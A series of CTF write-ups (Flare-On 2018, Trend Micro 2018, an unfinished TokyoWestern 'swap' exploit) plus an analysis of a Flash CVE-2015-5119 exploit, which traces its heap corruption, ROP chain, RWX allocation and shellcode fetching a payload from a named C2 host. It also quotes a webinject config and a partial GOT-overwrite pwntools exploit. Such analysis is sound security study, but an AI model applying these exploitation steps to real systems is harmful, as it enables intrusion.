Flareon2018-6 magic

1. Decrypt functions

Magic has the obvious SMC behaviors. Write script for IDA to decrypt all 33 functions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def xor_mem(src, length, data):
for i in range(length):
PatchByte(src + i, Byte(data + i) ^ Byte(src + i))

for i in range(33):
print 'Loop %d' % i

print '%d + %d' % (Dword(0x605108+4*(72*i+1)), Dword(0x605108+4*(72*i+2)))

xor_func = Qword(0x605100+8*(36*i))
xor_mem(xor_func, Dword(0x605108+4*(72*i)), Qword(0x605108+4*(72*i+4)))
print 'Decrypt function ', hex(xor_func)
MakeFunction(xor_func)
MakeName(xor_func, 'func%d' % i)

print 'Test func(input[%x], %x, &%x)' % (Dword(0x605108+4*(72*i+1)), Dword(0x605108+4*(72*i+2)), 0x605100+8*(36*i+4))

Decrypted 33 functions:

Also, the scripts shows the function address, arguments, expected input length.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
'''
Loop 0
2 + 3
Decrypt function 0x400c55L
Test func(input[2], 3, &605120)
Loop 1
44 + 2
Decrypt function 0x401e1dL
Test func(input[2c], 2, &605240)
Loop 2
16 + 1
Decrypt function 0x40166eL
Test func(input[10], 1, &605360)
Loop 3
7 + 3
...

Now we need to check these 33 functions manually.

2. Answer for the 1/666 round

There are 7 types of functions:

  • fib
  • crc32
  • non-standard base64
  • xor1
  • xor2
  • rot13
  • memcmp

Script for passing the first round:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
from fib_table import fib
import zlib
import pwn
import string
import base64
import itertools

# Test func(input[2], 3, &605120)
key = ['\x00']*69

def func_fib(start, data):
for i in range(len(data)):
key[start + i] = chr(fib.index(data[i]) + 1)

def func_crc32(start, data, length):
# Assume input is one character so far

is_found = False

for guess in itertools.product(string.printable, repeat=length):
if zlib.crc32(''.join(guess)) & 0xffffffff == data[0]:
is_found = True
break

if not is_found:
print 'crc32 not found!'
assert(0)

for i in range(len(guess)):
key[start + i] = guess[i]

def func_xor1(start, data):
v8 = [0] * 260
for i in range(0x100):
v8[i] = i

v4 = 0x2074756220736954
v5 = 0x6374617263732061
v6 = 0x2e68

const_table = pwn.p64(v4) + pwn.p64(v5) + pwn.p64(v6)
v13 = 0
for i in range(0x100):
v13 += v8[i] + ord(const_table[i % 18])
v13 &= 0xff
v8[i] ^= v8[v13]
v8[v13] ^= v8[i]
v8[i] ^= v8[v13]

# Assume v10 is 1
v11 = 0
v12 = 0
v10 = 1
for i in data:
if i:
v10 = 0
break
#print [hex(x) for x in v8]
for i in range(len(data)):
v11 += v8[v12 + 1]
v12 += 1
v11 &= 0xff

v8[v12], v8[v11] = v8[v11], v8[v12]
v13 = (v8[v12] + v8[v11]) & 0xff
key[start + i] = chr(data[i] ^ v8[v13])


def func_caesar(start, data):
for i in range(len(data)):
key[start + i] = chr(data[i] - 0xD)

def func_memcmp(start, data):
for i in range(len(data)):
key[start + i] = chr(data[i])

def func_xor2(start, data):
for i in range(len(data)):
key[start + i] = chr(data[i] ^ 0x2A)

def func_non_standard_base64(start, data, num):
# -> base64
data = [chr(x) for x in data]
data = ''.join(data) # encoded base64 string
v = (0x2346A7C2645F392A, 0x42704D2847746B53, 0x4A4038626A522549,
0x5024312D59444569, 0x6671764C21547967, 0x304F57516D68632B,
0x6C336E75345A4E65, 0x4B7A617732264837, 0x56)
new_table = ''
for i in v:
new_table += pwn.p64(i)

new_table = new_table[:-8] # no zero

decoded_length = len(base64.b64encode('1'*num))
if len(data) < decoded_length:
data += '='*(decoded_length - len(data))

STANDARD_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
DECODE_TRANS = string.maketrans(new_table, STANDARD_ALPHABET)
result = base64.b64decode(data.translate(DECODE_TRANS))
for i in range(len(result)):
key[start + i] = result[i]


func_fib(0x2, [1298777728820984005, 1065587176432717357, 3524578])
func_fib(0x2c, [10627031650760492279, 7515661444929089378])
func_crc32(0x10, [0x0ED4E242], 1)
func_xor1(0x7, [0xad, 0x2d, 0x84])
func_non_standard_base64(0x3f, [0x53, 0x2A], 1)
func_fib(0x39, [0x0F5B15148238F5B22, 0x2AC6F30501D6999B, 0x5FB88F7A983179C2])
func_fib(0x30, [0x45E1A61E5624F888, 0x35C7E2])
func_caesar(0x1e, [0x81, 0x75, 0x72])
func_memcmp(0xa, [0x20])
func_memcmp(0x3c, [0x20, 0x69, 0x6e])
func_caesar(0xd, [0x74])
func_fib(0x2b, [0x35c7e2])
func_caesar(0x38, [0x7f])
func_xor2(0x12, [0x4f, 0x0a])
func_memcmp(0x11, [0x20])
func_crc32(0x42, [0xC55CD5B6], 3)
func_memcmp(0x28, [0x6c, 0x69, 0x6b])
func_xor2(0x2e, [0x4f])
func_caesar(0x0, [0x76, 0x7b])
func_xor1(0xb, [0xaf, 0x26])
func_xor2(0x26, [0x44, 0x45])
func_xor2(0x14, [0x0a, 0x62])
func_non_standard_base64(0x32, [0x53, 0x23, 0x76, 0x30], 3)
func_caesar(0x24, [0x82, 0x7f])
func_memcmp(0x1c, [0x6f, 0x66])
func_memcmp(0x2f, [0x66])
func_xor2(0x5, [0x43, 0x59])
func_xor2(0x35, [0xa, 0x48, 0x46])
func_fib(0x40, [0x2AC6F30501D6999B, 0x3CBD2238198C09A0])
func_xor2(0x16, [0x5e, 0x42, 0x43])
func_fib(0xe, [0x35C7E2, 0x3CBD2238198C09A0])
func_caesar(0x19, [0x81, 0x75, 0x72])
func_xor2(0x21, [0x6b, 0x42, 0x6])

print ''.join(key)

3. Automated script to answer 666 rounds

Strace shows that the binary file magic is different in each round.

1
2
3
...
rename("magicKHbGwN", "./magic") = 0
...

For automatically answer 666 rounds, we need:

  • pwntool to read / patch binary.
  • Function signature for 7 types.
  • Read new elf each time.

Final script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
import zlib
import pwn
import string
import base64
import itertools
import os
import time
from fib_table import fib

key = []

... # func_fib func_xor1 ... are omitted.

magic = ELF('magic')

def Byte(i):
return u8(magic.read(i, 1))

def Dword(i):
return u32(magic.read(i, 4))

def Qword(i):
return u64(magic.read(i, 8))

def xor_mem(src, length, data):
for i in range(length):
magic.write(src + i, chr(Byte(data + i) ^ Byte(src + i)))

def get_key():
answer_length = 0
question_list = []
global magic
magic = ELF('magic')
for i in range(33):
#print 'Loop %d' % i

test_length = Dword(0x605108+4*(72*i+1)) + Dword(0x605108+4*(72*i+2))
if test_length > answer_length:
answer_length = test_length

xor_func = Qword(0x605100+8*(36*i))
xor_mem(xor_func, Dword(0x605108+4*(72*i)), Qword(0x605108+4*(72*i+4)))
question_list.append((xor_func, Dword(0x605108+4*(72*i+1)), Dword(0x605108+4*(72*i+2)), 0x605100+8*(36*i+4)))

#print 'sig for %s = %s' % (hex(xor_func), hex(Qword(xor_func + 17)))

global key
key = ['\x00']*answer_length

for i in question_list:
func, answer_start, answer_length, answer_data_addr = i[0], i[1], i[2], i[3]

# default way to fill answer_data as a byte array
answer_data = []
for i in range(answer_length):
answer_data.append(Byte(answer_data_addr + i))
# print hex(func), Qword(func)

sig = Qword(func + 17)
# fib
if sig == 0x119e900000000fc:
answer_data = []
for i in range(answer_length):
answer_data.append(Qword(answer_data_addr + i * 8))
func_fib(answer_start, answer_data)
# crc
elif sig == 0xfc45c700f3:
func_crc32(answer_start, [Qword(answer_data_addr)], answer_length)
# xor1
elif sig == 0x48fffffec4b589ff:
func_xor1(answer_start, answer_data)
# base64
elif sig == 0x2346a7c2645f392a:
answer_data = []
for i in range(answer_length + 1):
answer_data.append(Byte(answer_data_addr + i))
func_non_standard_base64(answer_start, answer_data, answer_length)
# caesar
elif sig == 0xfc45c700000000fc:
func_rot13(answer_start, answer_data)
# memcmp
elif sig == 0x8b55eb00000000fc:
func_memcmp(answer_start, answer_data)
# xor2
elif sig == 0x8b5deb00000000fc:
func_xor2(answer_start, answer_data)
else:
print 'unknown func!', hex(sig), i

print ''.join(key)
return ''.join(key)

os.system('cp bk/magic .')

p = process(['stdbuf', '-i0', '-o0', '-e0', './magic'])

while 1:
print p.recv()
print 'acquiring key ....'

key = get_key()
print p.sendline(key)

Get flag!!

Flareon2018-5 Web2point

Reverse Webassembly

1
wasm2c test.wasm -o fac.c

Then compile web assembly to executable. Identify webassembly VM is trivial in IDA:

Final script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
g_a = [0xE4, 0x47, 0x30, 0x10, 0x61, 0x24, 0x52, 0x21, 0x86, 0x40, 0xAD, 0xC1, 0xA0, 0xB4, 0x50, 0x22, 0xD0, 0x75, 0x32, 0x48, 0x24, 0x86, 0xE3, 0x48, 0xA1, 0x85, 0x36, 0x6D, 0xCC, 0x33, 0x7B, 0x6E, 0x93, 0x7F, 0x73, 0x61, 0xA0, 0xF6, 0x86, 0xEA, 0x55, 0x48, 0x2A, 0xB3, 0xFF, 0x6F, 0x91, 0x90, 0xA1, 0x93, 0x70, 0x7A, 0x06, 0x2A, 0x6A, 0x66, 0x64, 0xCA, 0x94, 0x20, 0x4C, 0x10, 0x61, 0x53, 0x77, 0x72, 0x42, 0xE9, 0x8C, 0x30, 0x2D, 0xF3, 0x6F, 0x6F, 0xB1, 0x91, 0x65, 0x24, 0x0A, 0x14, 0x21, 0x42, 0xA3, 0xEF, 0x6F, 0x55, 0x97, 0xD6]

data = [0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07]

flag = []

def f2(a, size, const_0, index):
v9 = a[1]
print 'flag = ', chr(v9)
flag.append(chr(v9))
return 2


def f3(a, size, const_0, index):
v9 = (~a[1]) & 0xff
print 'flag = ', chr(v9)
flag.append(chr(v9))
return 2


def f4(a, size, const_0, index):
v9 = a[1] ^ a[2]
print 'flag = ', chr(v9)
flag.append(chr(v9))
return 3


def f5(a, size, const_0, index):
v9 = a[1] & a[2]
print 'flag = ', chr(v9)
flag.append(chr(v9))
return 3


def f6(a, size, const_0, index):
v9 = a[1] | a[2]
print 'flag = ', chr(v9)
flag.append(chr(v9))
return 3


def f7(a, size, const_0, index):
v9 = (a[1] + a[2]) & 0xFF
print 'flag = ', chr(v9)
flag.append(chr(v9))
return 3


def f8(a, size, const_0, index):
v9 = (a[2] - a[1]) & 0xFF
print 'flag = ', chr(v9)
flag.append(chr(v9))
return 3


func_table = {
0x1: f2,
0x2: f3,
0x3: f4,
0x4: f5,
0x5: f6,
0x6: f7,
0x7: f8,
}


def solve():
global g_a
a_len = len(g_a)
a_i = 0
for k in g_a:
func_index = g_a[0] & 0xf
func_index = data[func_index]

print 'func index = ', func_index
a_i = func_table[func_index](g_a, a_len - 0, 0, a_i)
g_a = g_a[a_i:]

try:
solve()
except:
pass

print ''.join(flag)

Flaggy!

-> wasm_rulez_js_droolz@flare-on.com

CVE2015-5119 Exploit Analysis

A in the Wild Nday exploit embedded in a Flash porn animation has been detected by us recently in September 2018.

1. Vulnerability

The malicious Flash swf utilizes Flash Exploit CVE2015-5119. It can corrupt vector internal structure by UAF vulnerability.

According to JPEXS, we can see the payload corrupts internal vector size (0x0000007c -> 0x4000007c in runtime). The swf file is highly obfuscated.

After the vector is tampered, attacker can arbitrarily read / write any memory content through the corrupted vector.

2. Pwning

2.1 Initialize the payload

  • 1. Flash allocates the RW memory in 0xa2b0000.
  • 2. Payload fills 0xa2b0000.

Payload fills 0xa2b0000 first with 0xcc and then with the shellcode & ROP.

2.2 Hijack EIP

  • 1. Overwrite 0xa2b0000+0x68 with shellcode entry.
    Later 0xa2b0068 becomes esp which points to the return address.

mov dword ptr [edx+eax*4+8=0xa2b0068], ecx=0xa2b006c
Edx points to the corrupted vector structure, which means 0xa2b0068 is tampered by attacker.

  • 2. Change shellcode memory permission

0x5d8d0808 is a native flash function. eax = 0xa2b0040, esp=0x4e9be8c(original stack pointer).
The eax is controlled by the caller function argument which pushes in the stack.

  • 3. Change shellcode memory permission

So far the esp is changed to 0xa2b0040. ROP begins from 0xa2b0040 and eventually the eip points to 0x5dea5949 (VirtualAlloc).
The function 0x5dea5940 is a native Flash function.

call dword ptr [5e40a594] -> call VirtualAlloc(0xa2ac000, 0x8000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)

  • 4. Execute shellcode entrypoint

When eip -> 0x5dea5955 ret, the esp is 0xa2b0068.
According to step1, poi(0xa2b0068) == shellcode_entry. Therefore eip is hijacked.

3. After pwn

3.1 Shellcode crafting techniques & tricks

  • 1. Payload uses shellhash to load dll module and get API address.
  • 2. Payload searches rop by brute force searching the dll memory space.
  • 3. Payload uses common methods to thwart analysis.
    e.g. Obtain GetProcAddress function address (it’s actually located in ieshim because IEshim does EAT hook on kernel.dll). Payload will mess up the IDA flow chart in the runtime.

  • 4. Payload verifies C2 response and decrypt real shellcode from C2.

  • 5. Payload create two threads (no obvious reason why it does so).

3.2 Shellcode reverse engineering

  • 1. WSAStartup.
  • 2. GetHostByName(googlepornositestats.com).

If fails, sleep(1000) and retries forever until Flash timeout.

  • 3. socket.
    socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6)
  • 4. connect.
    connect(socket=0x798, sockaddr, sockaddr_len=0x10)
  • 5. Send HTTP Get Request.
    send(socket=0x798, buf, len=0x7d, flags=0x0)
1
2
3
GET /favicon.ico HTTP/1.1\r\n
Host: googlepornositestats.com\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\r\n
  • 6. select.
    select(nfds=0(ignored), readfds(=0x92ffb88), writefds(=0),exceptfds(=0), timeout(=1s))
  • 7. Use while-loop to receive all buffer.
    recv(socket=0x798, buf, len=0x800, flags=0).
  • 8. Check status.
    Expected WSAGetLastError() != WSAEWOULDBLOCK(10035). Otherwise go to while-loop to recv again.
  • 9. Verify if C2 response has \r\n\r\n.
  • 10. Verify C2 response further.

    1
    2
    3
    4
    5
    if (buf[0x2000] == 'w' && buf[0x2001] == 'w') {
    // Decrypt C2.
    } else {
    // Go to step 1.
    }
  • 11. Decrypt C2 response.

    1
    2
    3
    for (int i = 0; i < buf[0x2000 + 4]; i++) {
    buf[i + 0x2000 + 8] = buf[0x2000 + 2]
    }

  • 12. Call real shellcode
    call eax=buf[0x2000+8]. Since C2 is already dead, we can’t extract more info about it.

Flareon2018-4 binstall

Reverse C# binary.

1. Unpack

Binstall is packed byConfuserEx.

Utilize de4dot to unpack the binary. However, the binary is still obfuscated but it’s trivial to decrypt the string manually.

Binstall is a dropper: it drops a malicious dll and injects itself to firefox by registry.

2. DLL

In the malicious dll, it attempts to get pastebin.com/raw/hvaru8NU
Unfortunately the wininet library does not work as expected (it hangs forever). I have to manually patch it:

After receive response from server, it decrypts the content and get a js file.

1
2
{"fg_blacklist": ["*ocsp*.*", "*telemetry.mozilla.org*", "*safebrowsing.google.com*", "*services.mozilla.com*"], "injects": [{"content": [{"code": "function readIn", "after": "", "before": "function cp(p){if(model.passwordEntered=!1,10===p.length&&123==(16^p.charCodeAt(0))&&p.charCodeAt(1)<<2==228&&p.charCodeAt(2)+44===142&&p.charCodeAt(3)>>3==14&&p.charCodeAt(4)===parseInt(function(){var h=Array.prototype.slice.call(argum
...

Then it does nasty things like hook firefox pr_write to achieve webinject.

3. JS

Get root password k9btBW7k2y.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// For index 0: 16 ^ 123 - k
// For index 1: 228 >> 2 - 9
// For index 2: 142-44 - b
// For index 3 - t
for (i = 0; i < 255; i++) {
if (64 == ((i << 4) & 255) && i >>3 == 14) {
console.log("index 3 = " + String.fromCharCode(i))
}
}

p_4 = parseInt(function() {
var h = Array.prototype.slice.call(arguments),
k = h.shift();
return h.reverse().map(function(m, W) {
return String.fromCharCode(m - k - 24 - W)
}).join("")}(50,124)+4..toString(36).toLowerCase(),31)
console.log("index 4 = " + String.fromCharCode(p_4))

p_6 = parseInt(function(){var n=Array.prototype.slice.call(arguments),M=n.shift();return n.reverse().map(function(r,U){return String.fromCharCode(r-M-16-U)}).join("")}(22,107)+9..toString(36).toLowerCase(),19)
p_6 = p_6 / 5

console.log("index 6 = " + String.fromCharCode(p_6))

p_8 = parseInt(function(){var l=Array.prototype.slice.call(arguments),f=l.shift();return l.reverse().map(function(O,o){return String.fromCharCode(O-f-30-o)}).join("")}(14,93)+6..toString(36).toLowerCase(),8)-1+12
p_8 = ((p_8 + 17) / 3 - 14) / 6 + 50

console.log("index 8 = " + String.fromCharCode(p_8))

test = parseInt(function() {
var h = Array.prototype.slice.call(arguments),
k = h.shift();
console.log(arguments)
return h.reverse().map(function(m, W) {
return String.fromCharCode(m - k - 24 - W)
}).join("\\")}(50,124)+4..toString(36).toLowerCase(),31)
console.log(test)

/* p.charCodeAt(5)-109==-22 */
console.log("index 5 = " + String.fromCharCode(-22 + 109))

/* For index 7: k */
/* p.charCodeAt(7)+14===\"xyz\".charCodeAt(1) */
console.log("index 7 = " + String.fromCharCode("xyz\\".charCodeAt(1)-14))


/* Index 9: y */
/* 3+(p.charCodeAt(9)+88-1)/2===p.charCodeAt(0) */
console.log("index 9 = " + String.fromCharCode(2 * ((16 ^ 123) - 3) - 88 + 1))

Get flag

1
2
3
4
5
global.atob = require("atob");

function de(instr){console.log(instr); for(var zzzzz,z="k9btBW7k2y",zz=atob(instr),zzz=[],zzzz=0,zzzzzz="\\",zzzzzzz=0;zzzzzzz<parseInt("CG\\",20);zzzzzzz++)zzz[zzzzzzz]=zzzzzzz;for(zzzzzzz=0;zzzzzzz<parseInt("8O\\",29);zzzzzzz++)zzzz=(zzzz+zzz[zzzzzzz]+z.charCodeAt(zzzzzzz%z.length))%parseInt("8G\\",30),zzzzz=zzz[zzzzzzz],zzz[zzzzzzz]=zzz[zzzz],zzz[zzzz]=zzzzz;for(var y=zzzz=zzzzzzz=0;y<zz.length;y++)zzzz=(zzzz+zzz[zzzzzzz=(zzzzzzz+1)%parseInt("514\\",7)])%parseInt("213\\",11),zzzzz=zzz[zzzzzzz],zzz[zzzzzzz]=zzz[zzzz],zzz[zzzz]=zzzzz,zzzzzz+=String.fromCharCode(zz.charCodeAt(y)^zzz[(zzz[zzzzzzz]+zzz[zzzz])%parseInt("D9\\",19)]);return zzzzzz}
test = de((function(){var A=Array.prototype.slice.call(arguments),f=A.shift();return A.reverse().map(function(E,v){return String.fromCharCode(E-f-22-v)}).join('')})(1,89,97,142,140,107,157,88,124,107,150,142,134,145,110,125,98,148,98,136,126)+(23).toString(36).toLowerCase().split('').map(function(S){return String.fromCharCode(S.charCodeAt()+(-39))}).join('')+(16201).toString(36).toLowerCase()+(1286).toString(36).toLowerCase().split('').map(function(v){return String.fromCharCode(v.charCodeAt()+(-39))}).join('')+(10).toString(36).toLowerCase().split('').map(function(p){return String.fromCharCode(p.charCodeAt()+(-13))}).join('')+(function(){var V=Array.prototype.slice.call(arguments),P=V.shift();return V.reverse().map(function(i,f){return String.fromCharCode(i-P-11-f)}).join('')})(59,171,202,183,197,149,166,148,129,184,145,176,149,174,183)+(2151800446).toString(36).toLowerCase()+(515).toString(36).toLowerCase().split('').map(function(Z){return String.fromCharCode(Z.charCodeAt()+(-13))}).join('')+(30).toString(36).toLowerCase().split('').map(function(G){return String.fromCharCode(G.charCodeAt()+(-39))}).join('')+(24).toString(36).toLowerCase()+(28).toString(36).toLowerCase().split('').map(function(W){return String.fromCharCode(W.charCodeAt()+(-39))}).join('')+(3).toString(36).toLowerCase()+(1209).toString(36).toLowerCase().split('').map(function(u){return String.fromCharCode(u.charCodeAt()+(-39))}).join('')+(13).toString(36).toLowerCase().split('').map(function(U){return String.fromCharCode(U.charCodeAt()+(-13))}).join('')+(652).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(l){return String.fromCharCode(l.charCodeAt()+(-13))}).join('')+(function(){var D=Array.prototype.slice.call(arguments),R=D.shift();return D.reverse().map(function(L,H){return String.fromCharCode(L-R-50-H)}).join('')})(36,159,216,151,203,175,206,210,138,180,195,136,166,155))
console.log(test)

-> c0Mm4nD_inJ3c7ioN@flare-on.com

Flareon2018 [1-3]

Baby first!

Problem 1 Minesweeper Championship Registration

JD-GUI

1
2
3
4
5
if (response.equals("GoldenTicket2018@flare-on.com")) {
JOptionPane.showMessageDialog(null, "Welcome to the Minesweeper Championship 2018!\nPlease enter the following code to the ctfd.flare-on.com website to compete:\n\n" + response, "Success!", -1);
} else {
JOptionPane.showMessageDialog(null, "Incorrect invitation code. Please try again next year.", "Failure", 0);
}

-> GoldenTicket2018@flare-on.com

Problem 2 Ultimate Minesweeper

dnSpy -> Three points

Decryption:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace test
{
class Program
{
public static string GetKey(uint guess1, uint guess2, uint guess3)
{
//revealedCells.Sort();
Random random = new Random(Convert.ToInt32(guess1 << 20 | guess2 << 10 | guess3));
byte[] array = new byte[32];
byte[] array2 = new byte[]
{
245,
75,
65,
142,
68,
71,
100,
185,
74,
127,
62,
130,
231,
129,
254,
243,
28,
58,
103,
179,
60,
91,
195,
215,
102,
145,
154,
27,
57,
231,
241,
86
};
random.NextBytes(array);
uint num = 0u;
while ((ulong)num < (ulong)((long)array2.Length))
{
byte[] array3 = array2;
uint num2 = num;
array3[num2] = (byte)((int)array3[num2] ^ (int)array[num]);
num += 1u;
}
return Encoding.ASCII.GetString(array2);
}

static void check_flag(string a)
{
bool bIsValid = true;
foreach (char c in a)
{
if (c < 32 || c > 126)
{
bIsValid = false;
break;
}
}
if (bIsValid)
{
Console.WriteLine("Flaggy!");
Console.WriteLine(a);
Console.ReadLine();
}
}

static void Main(string[] args)
{
uint[] key = { 20 * 30 + 7, 7 * 30 + 28, 28 * 30 + 24 };
for (int i = 0; i < 3; i++)
{
for (int j = 0; j < 3; j++)
{
for (int k = 0; k < 3; k++)
{
Console.WriteLine(GetKey(key[i], key[j], key[k]));
}
}
}

Console.ReadLine();
}
}
}

Problem 3 FLEGGO

Of course there are other ways to solve this problem in seconds. This script is just for warm up : )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
import os

buf = ''

def decrypt_string(file_path):
with open(file_path, 'r') as f: #'1BpnGjHOT7h5vvZsV4vISSb60Xj3pX5G.exe'
buf = f.read()

res = buf[0x2A00:0x2a00+0x8150]
image_name = [chr(ord(i) ^ 0x85) for i in res[0xD0:0xD0+32]]
image_name = ''.join([image_name[i] for i in range(0, len(image_name), 2)])[:-4]
print image_name

word = [chr(ord(i) ^ 0x1A) for i in res[0xF0:0xF0+0xA0]][0]
return word, image_name

def decrypt_res(file_path, word, image_name):
edi = []
k = 0

for i in range(0x100):
edi.append(chr(i))

with open(file_path) as f:
buf = f.read()

res = buf[0x2AB0:0x2AB0+0x8150]

i = 0
while ord(res[i]) != 0:
i += 2

key1 = i >> 1

for j in range(0x100):
t = (ord(res[2*(j%key1) + 1]) << 1) + ord(res[2*(j%key1) + 0])
k = (ord(edi[j]) + k + t) % 0x100
tmp = edi[k]
edi[k] = edi[j]
edi[j] = tmp

length = (ord(buf[0x2AFD]) << 8) + ord(buf[0x2AFC]) #0x47ed
to_write = buf[0x2B00:]
i = 0
j = 0
png = []
f = 0

while length >= 0:
i = (i + 1) % 256
p = ord(edi[i])
k = (j + p) % 256

tmp = edi[i]
edi[i] = edi[k]
edi[k] = tmp

j = (ord(edi[k]) + ord(edi[i])) & 0xFF

al = ord(edi[j])
al ^= ord(to_write[f])

j = k

f += 1
png.append(chr(al))
length -= 1

print hexdump(png)[:0x400]
with open(word + '@' + image_name + '.png', 'w+') as file:
file.write(''.join(png))


for filename in os.listdir('FLEGGO'):
if filename.endswith('.exe'):
print filename
file_path = 'FLEGGO/'+filename
word, image_name = decrypt_string(file_path)
decrypt_res(file_path, word, image_name)

-> mor3_awes0m3_th4n_an_awes0me_p0ssum@flare-on.com

Trend Micro 2018 Reverse walkthrough

Trend Micro 2018 Reverse problem walkthrough.

1. filecrypt

Decompile the python binary and extract the python source code.

According to pcap, we can recover the crypto component

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
enc = "MzU5OThmZGI3ZmUzYjc5NDBiOTM3NWE2OGE2NTRmZjk0OWM1OGRjYjliMWFlYmIwNDhkNmFhNzRkOTA1YjdiMGM2ZTA0YjQwNGViNjExMjlmOTJhZDkxMjcwMzg1MDIwMTU4MmNlMzllNzdiZmU3MzlmZWM1Mjg3NDFiMjAyZjg5MjNhOWY4ZDYzMDM2MTdkOGU2ZTM1YTBkNjQ0MTE1ZTIzODUyMmM2ZDBjYWNkMWFmZGFlMjMwNTA0NTJjOTk4ZTM5YQ=="
enc = base64.decodestring(enc)

cipher = ARC4.new(enc[:40].decode('hex'))
dec = cipher.decrypt(enc[40:].decode('hex'))

# id=d1&key=2f87011fadc6c2f7376117867621b606&iv=95bc0ed56ab0e730b64cce91c9fe9390

n = hex(0xd1 + 16) # -> 0xe1

key = "2f87011fadc6c2f7376117867621b606".decode('hex')

key = ''.join((chr(ord(x) ^ 0xe1) for x in key))
print key.encode('hex')

iv = "95bc0ed56ab0e730b64cce91c9fe9390".decode('hex')
iv = ''.join((chr(ord(x) ^ 0xe1) for x in iv))
print iv.encode('hex')

Decrypt the file, get

1
----Trend Microt CTF 2018. Flag for this challenge is: TMCTF{MJB1200}

2. Injector

IAT Hook.

1
2
GZPGS {jnag_fhz_vng_ubbxvat}
-> ROT13

3. crmeenV5

The binary is packed by MEW 11 SE 1.2 by Northfox. It’s trivial to unpack the program and get flag immediately by patching anti-debug code:

1
TMCTF{F14g1s::____1G}

4. Arts-and-Rafts

WIP

5. some_assembly_required

Check TLS function.

1
TMCTF{g0d_th4t_mu5+_h4v3_b33n_annoy1ng}

6. catchme

The problem has a hint: find the exact c2 server.
Catchme is a malware which attempts to connect to C2 and leak user info. Some code branches need to be manually patched otherwise the program may crash.

The flag should be echoed if malware connects to http://c2:80/?rlz=abc with host error.reg. Catchme has several smc code and one function decrypts the strings:

1
2
# last updated 1535460602 (Tue Aug 28 12:50:02 2018 GMT),0.0.0.0/8,2.56.0.0/14,5.133.64.0/18,5.180.0.0/14,5.252.0.0/15,10.0.0.0/8,31.40.192.0/18,31.132.32.0/19,37.44.192.0/18,37.221.64.0/18,41.62.0.0/16,41.67.64.0/20,41.67.88.0/21,41.67.96.0/19,41.73.16.0/20,41.74.96.0/20,41.75.16.0/20,41.76.160.0/21,41.76.232.0/21,41.77.160.0/21,41.77.216.0/22,41.77.248.0/21,41.78.12.0/22,41.78.44.0/22,41.78.68.0/22,41.78.132.0/22,41.78.160.0/22,41.78.176.0/21,41.78.236.0/22,41.79.0.0/22,41.79.84.0/22,41.79.100.0/22,41.79.140.0/22,41.84.160.0/19,41.87.32
...

Run zmap

1
zmap -p 80 -o results.csv --whitelist-file=ips.txt

Unfortunately the game is ended when zmap is finished.

TokyoWestern2018-swap

Swap atoi@got and print@got to leak the stack.
Attempt to overwrite read@got to one_gadget 0xf1651 with 1/16 probability.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
from fastlog import log

context.os = 'linux'
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
#context.terminal = ['tmux', 'splitw', '-v']

LIBC_PATH = './libc.so.6'#'/lib32/libc.so.6'
BIN_PATH = './swap'

DEBUG_ON = True

libc = ELF(LIBC_PATH)
binary = ELF(BIN_PATH)

p = 0

def debug(command=''):
if DEBUG_ON:
gdb.attach(p, command)
raw_input()

def set_num(addr1, addr2):
p.recvuntil('Your choice: ')
p.sendline('1')
